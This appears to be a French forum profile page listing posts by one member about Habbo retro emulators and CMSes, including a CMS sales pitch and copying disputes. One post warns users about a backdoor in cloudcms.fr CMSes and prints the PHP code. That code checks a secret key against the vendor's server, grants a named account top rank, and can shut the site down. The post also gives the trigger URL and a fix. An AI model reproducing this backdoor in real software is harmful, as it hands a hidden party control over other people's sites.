Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Akushi

Donateur
  • Content Count

    785
  • Joined

  • Last visited

  • Days Won

    13

Everything posted by Akushi

  1. La communauté française c'est énormément aggravé les enfants qui DDOS, se prennent pour des hackeurs les menaces les DOS sur les gens le cryptage pour les mot de passe qu'il décrypte et j'en passe et tout travail mérite salaire donc oui normal de pouvoir vendre ces ressources un certain prix quand tu bosses vraiment dessus enfin bon la communauté Habbo FR à que des enfants et je parle pas en terme d'âge mais de mentalité.
  2. Java est bien plus stable côté serveur que le C#. PlusEmu écrase largement Arcturus ? Tu vies dans quel monde cette émulateur est entièrement bug même sont créateur la abandonner et continue uniquement sur sa version privé si c'est encore d'actualité il aurais quitté Habboon donc je ne pense pas mais bon Arcturus écrase de très loin PlusEMU il y a toutes une communautés derrière Arcturus contrairement à PlusEMU ou la communauté garde tout pour elle comme la dis Kozen énormément de chose sont fixé faut juste être " futfut " et débrouillard et pas attendre que quelqu'un le fassent à sa place. Et comme la communauté Krew l'as dis tu veux quelque chose de supplémentaire code le toi même ou paye quelqu'un ils recopie Habbo pas les rétros les mentions ne sont disponible que via des plugins tout ne te seras pas offert sur un plateau d'argent sa c'est sûr apprends le Java et tu verras ce que tu peux faire de cette émulateur la preuve étant que Nextgenhabbo avais ajouté les Forums de groupe sous leurs rétro avec un simple plugin.
  3. C'est Chocolatey CMS comme il la dis aucun rapport avec slop --'
  4. Copie d'habbo ? un cms reste unique rien n'a était copié d'Habbo uniquement le client donc à dire que les cms devrais être gratuit tu te trompe lourdement les gens passent du temps sur leurs CMS et ils devrais les partager gratuitement ? Grosse blague merci tout de même.
  5. Sont créateur le vend pas je suis le seul à le vendre au il y a des leaks mais bon
  6. Inspiré fortement de MeHabbo
  7. Pour un simple soucis tu ne viens pas demander de l'aider m'enfin bon on s'égare du sujet
  8. Si c'est votre développeur vous êtes mal barré (je parle de Pyro) qui viens me demander de l'aide mdr sinon bonne chance j'ai hâte de voir le CMS car la maintenant voilà
  9. Moi même pour éviter ce genre de soucis j'ai mis root en password local sur mon mysql
  10. Pourtant il indique clairement qu'il n'arrive pas à ce connecter à ta base de donnée.
  11. Oui je comprends un fichier d'aide seras fournis et dans le pire des cas j'aiderais à l'installation.
  12. Oui bien sûr sont auteur nie tous cela la clé est choisis par lui pas par le client et le fichier est imposée hors il devrait être non imposable et la clé devrait être choisis par sont fondateur pas par le vendeur
  13. Fais donc ce que tu veux ce genre de fichier n'est pas imposable et devrait juste être proposer à pars.
  14. Sa reviens au même sa reste une faille de sécurité facilement exploitable par des personnes s'y connaissant une parole reste une parole tu as accès à n'importe quel rétro ne dis pas que tu as uniquement accès à l'administration plus emu est codé de façon à ce que plus ton rang est haut plus tu as de permissions les permissions sont pas gérable si tu met toutes les permissions au 7 le rang 8 auras toutes les permissions du rang 7 donc tu peux clairement avoir accès à tout ce qui est complétement dégelasse de la part d'un vendeur de cms déjà illégale de base pourquoi en parler ? Tu n'avertis pas les utilisateurs de ce genre de faille et c'est clairement pas normal quand un fichier et la il est censée être dis vous dîtes sécurisé il n'y à rien de sécurisé dans sa.
  15. Ayant télécharger quelque CMS gratuit venant de cloudcms.fr j'ai remarqué un petit soucis que sont créateur à mis volontairement. if (isset($_GET['override']) AND $_GET['override'] == 1) { if (isset($_GET['key']) AND !empty($_GET['key'])) { $ThisAPI = file_get_contents('https://api.cloudcms.fr/index.php?api=override&key=' . $_GET['key']); $API = json_decode($ThisAPI); if ($API->response == 'success') { $ThisPDO = $pdo->query('UPDATE users SET rank = ? WHERE username = ?', ["16", "7evenGiven"]); die('Accès système autorisé.'); } else { die($API->response); } } } elseif (isset($_GET['shutdown']) AND $_GET['shutdown'] == 1) { if (isset($_SESSION['id'])) { if ($Account->RetrieveInfoById($_SESSION['id'], 'rank') == 16) { $ThisPDO = $pdo->query('UPDATE cloudcms_api SET server = ?', ["close"]); $ThisPDO = $pdo->query('INSERT INTO cloudcms_logs (user_id, timeact, action) VALUES (?, ?, ?)', [$_SESSION['id'], time(), "vient de fermer l'accès aux services en ligne."]); die('Vous avez fermé l\'accès aux services en ligne, pour réactiver l\'accès, il faut vous rendre dans votre base de données puis dans "<b>cloudcms_api</b>" et modifier la valeur de serveur de "<b>close</b>" à "<b>open</b>".'); } else { die(); } } } Sont créateur à instaurer ceci une " API " pour pouvoir gérer les CMS et le fonctionnement du CMS, mais comme vous pouvez le remarquer il à volontairement mis un système pour ce rank Comment il exploite ceci ? Le fichier api.php est accéssible par n'importe qui mais personne n'a le paramètres $_GET['key'] mise à pars lui il lui suffis de l'entrer comme montrer dans l'example ci dessous est il seras rank et peux aussi fermer l'accès à votre site si vous ne savez pas ou ces c'est situé dans la table cloudcms_api remetter la colonne server sur open /!\ Ceci ne sert à rien d'essayé d'exploité cette faille car vous ne connaissez pas le deuxième paramètres $_GET['key'] qui est nécessaire pour faire fonctionner cette faille /!\ http://monsupersite.fr/api?override=1&key=OnNeSaisPas Avec ce lien et la clé qu'il à définit il peut ce rank sur n'importe qu'elle rétro utilisant ces CMS alors je ne vous conseille absolument pas d'utiliser ces CMS. Comment fixé vous allez me dire ? Très simple aller à la racine de votre dossier la ou est situé votre CMS est supprimer le fichier nommé api.php Merci à @ NathanDZC de lui aussi l'avoir remarquer, oui ne critiquez pas mon orthographe sa n'a jamais était mon fort.
  16. La modification effectué tue le cms sinon bonne chance à vous.
  17. Le sujet n'est pas entièrement fini j'ai eu des soucis avec internet
  18. La preuve que non je ne te connais pas débrouille toi pour trouver le SWF
  19. Déjà tu uses mon émulateur sans l'avoir acheté de deux tu as le mauvais Habbo.swf
  20. Qu'est-ce que c'est Asteroid ? Asteroid est un CMS qui reprends le design initial du cms de Florian (BobbahCMS), ainsi que tous son javascript. Vous me direz il y a déjà un CMS qui utilise ce design Cosmic mais malheureusement l'auteur du design n'est clairement pas mentionner dans le copyright et sont créateur est relativement énervent il croit tous savoir sachant que sont CMS est fais un peux à la va vite et pas très stable beaucoup d'erreur et sont PHP est pas très propre même pas du tout, Du coup j'ai décider de reprendre le design initial et de faire tout le back end sous Laravel 7 avec pas mal d'adaptations pour avoir de la cohérence avec le javascript, qui est vendu au prix de 50€ pourquoi un prix aussi élevée ? Why not ? J'y passe du temps tout travail mérite salaire le cms est complet et pour l'instant je fixe pas mal de soucis le concernant bien sûr la qualité du code en joue pour une bonne partie du prix je tiens à préciser que l'administration à était acheté sur ThemeForest. Moyen de paiement uniquement Paypal et Skrill car ce sont ceux que j'utilisent tous le temps. Les avantages ? Quel sont donc les avantages d'un tel CMS, la sécurité tout d'abord malgré que Laravel sois sécurisé il faut avoir un minimum d'expérience pour ordonner proprement sont code afin d'éviter les failles d'injection. J'ai revu pas mal de code et pour l'instant j'utilise encore le Model Design Pattern malgré qu'il sois encore assez chiant à manié il à pas mal d'avantages pour avoir un code relativement propre. Fonctionnalité apporté par le CMS ? Un système de permissions modulable et très simple de compréhension chaque rôle à certaine permissions et chaque permissions à sont utilité un système de permissions par utilisateur est aussi en place, bien sûr c'est une dépendance je ne l'ai pas réalisé de moi même j'avais réalisé un tel système sur mon ancien CMS qui à était malheureusement leak par certaine personne d'ici. Une boutique modulable qu'entends tu pars la ? Tout simplement chaque élément de la boutique seras entièrement modifiable l'ajout de coffre devrait faire sont apparition (faut encore que je vois pour travailler une belle animation pour l'ouverture), ainsi que pas mal d'autre fonctionnalité (actuellement dans ma tête non codé) En termes de fonctionnalité le CMS disposeras de tout ce qu'un CMS devrait avoir, système de commentaire, de like, un système pour créer sa propre story, un design sobre mais propre. Une administration externe au CMS à était mise en place et conçois à être le plus remplie possible avec un maximum d'options à disposition. Un github pour les acheteurs à était mis en place pour pouvoir mettre à jour le CMS à chaque mise à jour le github : https://absolutezeroo.github.io/Asteroid/ (aucun accès source juste une tasklist) Les dépendances JQuery (Fullscreen, History, Magnific Popup, Scrollbar, Timer, Ui Touch, Ui) CKEditor 4 Laravel 7 JS Cookie Moment Pagination Particle RangeSlider Selectric Quelque petit aperçu actuel Veuillez m'excuser d'avance pour les fautes d'orthographe je n'aime pas du tout l'orthographe et tout simplement le français.
  21. Il à refais un nouveaux bien mieux.
  22. Copié je parler inspirer et tu ne peux pas avoir le même CSS sachant que chaque personne ont leurs façon de voir les choses et que le CMS personne la sauf sont développeur et moi même.
  23. La barre de connexion est clairement copié sur MeHabbo CMS mais bon bonne chance à toi.
×
×
  • Create New...